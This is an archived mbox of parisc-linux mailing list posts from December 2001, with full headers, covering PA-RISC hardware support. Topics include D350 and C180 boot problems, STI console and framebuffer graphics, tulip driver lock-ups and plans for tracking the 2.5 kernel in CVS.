List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13320

On Wed, Dec 12, 2001 at 12:01:45PM -0500, Herb Radford wrote:
> Yesterday I downloaded the 0.9.3-rc6.iso (it has the same md5sum as the 
> official version so I assume congruency) and have had exactly the same results!
> There is a FWSCSI card in the box with 6 drives attached and another card, 
> a "Remote Management/Access Port" card in HSC 0 Slot 0.
> I've seen a couple of messages about D350's which say all this stuff worked!
> 
> Does anyone have any suggestions?

I pulled out the access port card to get the D350 working; otherwise
I never saw any messages after the branching to kernel entry point
message, as you're seeing.

Unfortunately I never got a chance to get all the debug info that
Matthew wanted to sort this out.. the machine has been repossessed
for real work and is running HP-UX again.

On a completely different topic, I assume it's safe to apt-get upgrade
these days? All the tool chain problems etc have been solved?
I still have a 715/80 running fine.

cheers
Hamish
-- 
Hamish Moffatt VK3SB <hamish@debian.org> <hamish@cloud.net.au>



From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X WIndows on HP9000 720 or 735
Date: Wed, 12 Dec 2001 23:20:51 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20011212232051.B1998@solo.franken.de>
References: <3C17254A.3050209@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620838 31466 80.91.229.3 (22 Nov 2014 01:47:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sven Cronenberg <sven.cronenberg@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 15:22:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD9051D7B.dip.t-dialin.net [217.5.29.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8A8D482C
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 15:22:51 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fBCMKp203736;
	Wed, 12 Dec 2001 23:20:51 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3C17254A.3050209@web.de>; from sven.cronenberg@web.de on Wed, Dec 12, 2001 at 10:37:14AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13321

On Wed, Dec 12, 2001 at 10:37:14AM +0100, Sven Cronenberg wrote:
> I am using 2 HP9000 WOrkstatiosn at home. One HP900/720 system with CRX8 
>  graphic card and and a HP9000/735 with CRX48Z graphics system.

> I would like to know if anyone has succeeded in running X Windows for 
> PARISC Linux on one of those machines?

not yet. There is some code for these boards in the kernel, but it's disabled
by default. I'm waiting for hardware to verify the code is working or if it
isn't to fix it.

> By the way: How das the x-windows for PARISC Linux work. Does it access 
> the graphics card via the framebuffer device or directly?

via a framebuffer device.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C160 STI console woes
Date: 12 Dec 2001 17:33:43 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <1008196423.31094.55.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-T3sfHLzT2ul/rcAawWx6"
X-Trace: ger.gmane.org 1416620838 31468 80.91.229.3 (22 Nov 2014 01:47:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:18 +0000 (UTC)
To: palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 15:33:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110])
	by dsl2.external.hp.com (Postfix) with ESMTP id 255346121
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 15:33:57 -0700 (MST)
Original-Received: from archimedes.localnetsolutions.com ([199.174.105.194])
	by smtp6.mindspring.com with esmtp (Exim 3.33 #1)
	id 16EHwi-0001rU-00
	for parisc-linux@lists.parisc-linux.org; Wed, 12 Dec 2001 17:33:48 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id fBCMXhg15092;
	Wed, 12 Dec 2001 17:33:43 -0500
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13322

--=-T3sfHLzT2ul/rcAawWx6
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

OK, I've enclosed the dmesg output. The card had a sticker which lists
it as a 4017B. dmesg calls it a 4017b-lz. There is an expansion card on
it with a bunch of Motorola chips and a large one with a heat sink. It
is plugged into the GSC socket, not the PCI socket. (Why is the PCI
socket "backwards"? I've got a great Matrox Millineum ...)

grep -i sti dmesg.txt
Kernel command line: root=3D/dev/sda5 HOME=3D/ console=3Dtty0 sti=3D0
sti_font=3DVGA8x16 TERM=3Dlinux
POSIX conformance testing by UNIFIX
STI word mode ROM at f0026000, hpa=3Dfa000000
STI word mode ROM, id 2d08c0a7-9a02587, conforms to spec rev. 8.07
STI device: INTERNAL_EG_1280
STI byte mode ROM at f8000000, hpa=3Df8000000
STI byte mode ROM, id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071B_LZ
fb0: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio:
0xfa100000
fb1: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio:
0xf8100000
sticonsole_init: searching for STI ROMs

grep -i graphics dmesg.txt
18. Gecko GSC Core Graphics (10) at 0xfa000000 [8/24], versions 0x16,
0x0, 0x85
21. Coral SGC Graphics (10) at 0xf8000000 [10/8], versions 0x4, 0x0,
0x77

Before the firmware upgrade, the Coral SGC card was listed as a
"Hyperdrive optional graphics (10) at 0xf8000000 [10/8], versions 0x5,
0x0, 0x77

It seems that sti=3D1 should turn on console on the graphics monitor.
Unless I need a different graphics terminal other than tty0 or tty1.

--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-T3sfHLzT2ul/rcAawWx6
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8F9tHYZCtw4KcbKcRAj8/AJwPW3rdoRR8jnNS0C0QYR/hTN6CMgCg48T+
bvboKy4KGUAQ3zh05XUHjlk=
=KnBT
-----END PGP SIGNATURE-----

--=-T3sfHLzT2ul/rcAawWx6--



From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 kernel and CVS -- opinions?
Date: Wed, 12 Dec 2001 23:35:05 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20011212233505.C1998@solo.franken.de>
References: <bame@fc.hp.com> <200112120429.VAA03750@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620838 31471 80.91.229.3 (22 Nov 2014 01:47:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:18 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 15:37:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD9051D7B.dip.t-dialin.net [217.5.29.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 406C26126
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 15:37:08 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fBCMZ5K03856;
	Wed, 12 Dec 2001 23:35:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200112120429.VAA03750@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Tue, Dec 11, 2001 at 09:29:25PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13323

On Tue, Dec 11, 2001 at 09:29:25PM -0700, Grant Grundler wrote:
> Paul Bame wrote:
> > It's time to start tracking the 2.5 kernel at cvs.parisc-linux.org
> > and there are a few different ways to do it -- I'm looking for opinions.
> > My favorite option at the moment is 1A.
> 
> I'm ok with 1A as well:

I don't have a hard opinion whether having two tree makes more sense than
trunk/branch hoping. People will probably work for some time on 2.4
and switch over to 2.5, so I guess two trees are ok.

> o *someday*, I hope the CVS date-based check out will get fixed.
> o TAGs work and I'm ok with tag being used.

tags are sometimes nice, but too much tags aren't. Try a cvs log with hundreds
of tags. That's not funny. And btw. tags are (re-)movable and they don't have a
history, which makes them pretty useless for any serious build system. At
work we use seperate cvs controlled sourcelists, which lists every file with
its revision of a release. That way it's always possible to rebuild an old
release even if a dork moved/removed a tag.

> o We could TAG weekly (or monthly) and keep enough nightly
>   checkout's to cover two or three tags. Or whatever we can
>   afford for diskspace.

I don't see a point for needing that. But maybe I'm just overlooking something.

I personaly wouldn't touch 2.5 at the moment. Right now 2.5 looks to
me like an adventure park of out of control kids. That's ok but IMHO it
doesn't help Linux/PARISC development. Hunting generic bugs mixed with
architecture bugs isn't fun. Let's wait until 2.5 settles and Linus will
accept PARISC inclusion (which he won't at the moment).

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tulip driver
Date: Wed, 12 Dec 2001 23:06:19 +0000 (UTC)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112122255130.18883-100000@zayda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620839 31476 80.91.229.3 (22 Nov 2014 01:47:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:19 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 16:06:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zayda.com (celery.zayda.com [208.186.180.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id A027D4831
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 16:06:24 -0700 (MST)
Original-Received: from localhost (sonny@localhost)
	by zayda.com (8.11.6/8.11.6) with ESMTP id fBCN6JG19513
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 23:06:19 GMT
X-X-Sender: <sonny@zayda.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13324

What is the state of the tulip driver currently?  I have been running 
2.4.9-pa45 for a few weeks with a tulip pci card in a b132L.  I decided to 
upgrade the system and kernel.  The kernel I used is 2.4.16-pa16.  During 
the boot process, the kernel just locks up after reporting that it has 
freed some memory.  Further investigation revealed that loading the tulip 
module locks it up.  It spewed out some debugging info, but I did not grab 
it.  I have the kernel module autoloader set and tulip compiled as a 
module.
Any advice, or hint as to where to start looking would be appreciated.

On a releated note, I have a tulip based 4-port ethernet card 
(AHA6944B/TX) that I have been playing with.  Loading the tulip module 
with this thing installed also locks the machine up nicely.  I do have the 
debugging information the kernel spit, but I'm not quite sure what to do 
with it.  Again, any advice would be appreciated.

Thanks,
Sonny




From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sean J. Anaya" <sanaya@gr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A C180 up and running (partially)
Date: Wed, 12 Dec 2001 16:13:50 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <004701c18362$a880c6d0$3c8a260f@spawn>
Reply-To: <sanaya@gr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620839 31477 80.91.229.3 (22 Nov 2014 01:47:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:19 +0000 (UTC)
To: "HP Linux Email List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 16:09:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52381611E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 16:09:56 -0700 (MST)
Original-Received: from hpgrla.gr.hp.com (hpgrla.gr.hp.com [15.57.1.1])
	by atlrel6.hp.com (Postfix) with ESMTP id 38929600B26
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 18:09:55 -0500 (EST)
Original-Received: from kontiki.gr.hp.com (kontiki.gr.hp.com [15.38.138.59])
	by hpgrla.gr.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id QAA10720
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 16:09:54 -0700 (MST)
Original-Received: from spawn ([15.38.138.60] verified) by kontiki.gr.hp.com (Stalker SMTP Server 1.8b8) with SMTP id S.0000030114 for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 16:10:00 -0700
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13325

Hi all,

I finally got my C180 installed with pa-linux v0.9.3, WooHoo!

Couple of questions tho:

1) I'm having trouble navigating the install program using a windows 2000
   machine as a serial terminal using the Hyperterminal program setup as
   a vt100. Seems the up/down arrows do not work and I need to use CTRL-n
   in some areas and CTRL-v in others, but they don't scroll down to the
   next item, acts more like a page.

   Any suggestions on how to setup the Hyperterminal program to correctly
   navigate the install program or a different program I could use as a
terminal
   with a windows 2000 machine?

2) I can get the system to boot with the serial console, but when I attach a
graphics
   one, the system hangs during the boot process. I'm guessing this has
something to
   do with the fact I couldn't properly choose what kernel devices to add
since I could
   scroll through the selection list. See Above.

Thanks,

Sean Anaya
sanaya@gr.hp.com




From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C160 STI console woes
Date: Wed, 12 Dec 2001 17:25:29 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <200112130025.RAA12183@puffin.external.hp.com>
References: <jkinney@localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620839 31479 80.91.229.3 (22 Nov 2014 01:47:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:19 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: "James P. Kinney III" <jkinney@localnetsolutions.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 17:30:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FA9C482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 17:30:27 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA12183;
	Wed, 12 Dec 2001 17:25:29 -0700
In-Reply-To: Message from "James P. Kinney III" <jkinney@localnetsolutions.com> 
   of "12 Dec 2001 17:33:43 EST." <1008196423.31094.55.camel@archimedes.localnetsolutions.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13326

"James P. Kinney III" wrote:
> (Why is the PCI socket "backwards"? I've got a great Matrox Millineum ...)

You mean the keying of the PCI slot?
I don't know if C160 supports 3.3v, 5.5v, or both. I'd need to dig
up a product data sheet to tell you which the C160 (not C160L)
supported. But if your card doesn't fit the keys in the slot,
it's *not* electrically compatible.

Secondly, folks with broken Dino's built-in, can *only* plug
in HP-UPX supported graphics cards once firmware is upgraded
to 5.x or better (on older B and C-class machines).
PDC won't boot with anything else installed - but no harm
in trying (unlike mismatched PCI slot keys).

grant



From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip driver
Date: Wed, 12 Dec 2001 17:36:03 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200112130036.RAA12216@puffin.external.hp.com>
References: <sonny@aspersion.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620840 31482 80.91.229.3 (22 Nov 2014 01:47:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 17:41:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF536482C
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 17:41:08 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA12216;
	Wed, 12 Dec 2001 17:36:03 -0700
In-Reply-To: Message from Sonny Cook <sonny@aspersion.org> 
   of "Wed, 12 Dec 2001 23:06:19 GMT." <Pine.LNX.4.33.0112122255130.18883-100000@zayda.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13327

Sonny Cook wrote:
> What is the state of the tulip driver currently?

Stable - I don't think tulip's your problem.

> The kernel I used is 2.4.16-pa16.  During 
> the boot process, the kernel just locks up after reporting that it has 
> freed some memory.

Helge enabled freeing bootmem and it was disabled again because of such
lock-ups. At least until all extra __init's get removed.
I think it's disabled since 2.4.16-pa18 or -pa19.
So tulip is just a victim here and not a culprit.

> Any advice, or hint as to where to start looking would be appreciated.

Pull newer kernel source or disable the #if 1 that was enabled in -pa14.
See parisc-linux-cvs archive for details.

grant



From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C160 STI console woes
Date: 12 Dec 2001 20:17:29 -0500
Organization: mkp.net
Lines: 21
Approved: news@gmane.org
Message-ID: <yq1k7vrdil2.fsf@austin.mkp.net>
References: <200112130025.RAA12183@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620840 31484 80.91.229.3 (22 Nov 2014 01:47:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:20 +0000 (UTC)
Cc: "James P. Kinney III" <jkinney@localnetsolutions.com>,
	palinux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 18:17:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62A416029
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 18:17:43 -0700 (MST)
Original-Received: from localhost.localdomain ([127.0.0.1] helo=austin.mkp.net)
	by rover with esmtp (Exim 3.33 #1)
	id 16EKVB-0004fv-00; Wed, 12 Dec 2001 20:17:33 -0500
Original-Received: (from mkp@localhost)
	by austin.mkp.net (8.11.6/8.11.6) id fBD1HTH28153;
	Wed, 12 Dec 2001 20:17:29 -0500
X-Authentication-Warning: austin.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <200112130025.RAA12183@puffin.external.hp.com>
Original-Lines: 19
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
